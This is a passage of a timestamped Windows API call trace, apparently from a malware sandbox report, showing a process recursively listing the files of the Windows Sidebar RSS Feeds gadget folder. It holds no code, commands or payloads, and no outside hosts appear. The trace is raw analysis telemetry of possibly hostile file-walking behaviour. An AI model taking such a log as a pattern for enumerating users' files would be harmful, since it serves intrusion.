ftLastWriteTime.dwLowDateTime=0x3bdf1625, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0208.487] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0208.487] GetProcessHeap () returned 0x550000 [0208.487] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0208.487] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.Gadget", cAlternateFileName="RSSFEE~1.GAD")) returned 1 [0208.487] GetProcessHeap () returned 0x550000 [0208.487] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0208.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0208.488] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.488] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c4e50a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c4e50a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cdb6711, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2141, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0208.488] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0208.488] GetProcessHeap () returned 0x550000 [0208.488] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0208.488] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0209.024] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.024] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0209.024] GetProcessHeap () returned 0x550000 [0209.024] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0209.024] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0209.025] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.025] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.css", cAlternateFileName="")) returned 1 [0209.025] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.css", cAlternateFileName="")) returned 1 [0209.025] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0209.025] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0209.025] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0209.026] GetProcessHeap () returned 0x550000 [0209.026] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0209.026] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x86a, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1 [0209.026] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0209.026] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0209.026] GetProcessHeap () returned 0x550000 [0209.026] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0209.026] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0209.027] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.027] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1aee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.js", cAlternateFileName="")) returned 1 [0209.027] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0209.027] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 0 [0209.027] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0209.027] GetProcessHeap () returned 0x550000 [0209.027] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0209.027] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x271c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.html", cAlternateFileName="")) returned 1 [0209.027] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0209.027] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0209.027] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0209.028] GetProcessHeap () returned 0x550000 [0209.028] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0209.028] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce029cd, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3ce029cd, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3ce029cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1d07, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0209.028] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8061433b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8061433b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0209.028] GetProcessHeap () returned 0x550000 [0209.028] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0209.028] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8061433b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8061433b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0209.131] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8061433b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8061433b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.131] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce029cd, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3ce029cd, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3ce029cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1369, dwReserved0=0x0, dwReserved1=0x0, cFileName="16-on-black.gif", cAlternateFileName="")) returned 1 [0209.131] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f36d12, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f36d12, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce28b2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonDown_Off.png", cAlternateFileName="")) returned 1 [0209.131] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f36d12, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f36d12, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce28b2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonDown_On.png", cAlternateFileName="")) returned 1 [0209.131] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f10bb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f10bb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce4ec89, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x118, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonUp_Off.png", cAlternateFileName="")) returned 1 [0209.132] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f10bb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f10bb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce4ec89, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonUp_On.png", cAlternateFileName="")) returned 1 [0209.132] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f5ce6f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f5ce6f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce74de7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x112b, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyoutBack.png", cAlternateFileName="")) returned 1 [0209.132] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e78641, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84e78641, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce74de7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_docked.png", cAlternateFileName="")) returned 1 [0209.132] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e9e79e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84e9e79e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce9af45, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_floating.png", cAlternateFileName="")) returned 1 [0209.132] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e9e79e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84e9e79e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce9af45, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_flyout.png", cAlternateFileName="")) returned 1 [0209.132] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ec48fb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ec48fb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cee7201, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="navBack.png", cAlternateFileName="")) returned 1 [0209.132] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f5ce6f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f5ce6f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf334bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssBackBlue_docked.png", cAlternateFileName="")) returned 1 [0209.132] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f82fcc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f82fcc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf334bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x22ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssBackBlue_Undocked.png", cAlternateFileName="")) returned 1 [0209.132] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f10bb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f10bb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf334bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssLogo.gif", cAlternateFileName="")) returned 1 [0209.132] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ec48fb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ec48fb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cee7201, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss_headline_glow_docked.png", cAlternateFileName="")) returned 1 [0209.132] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, 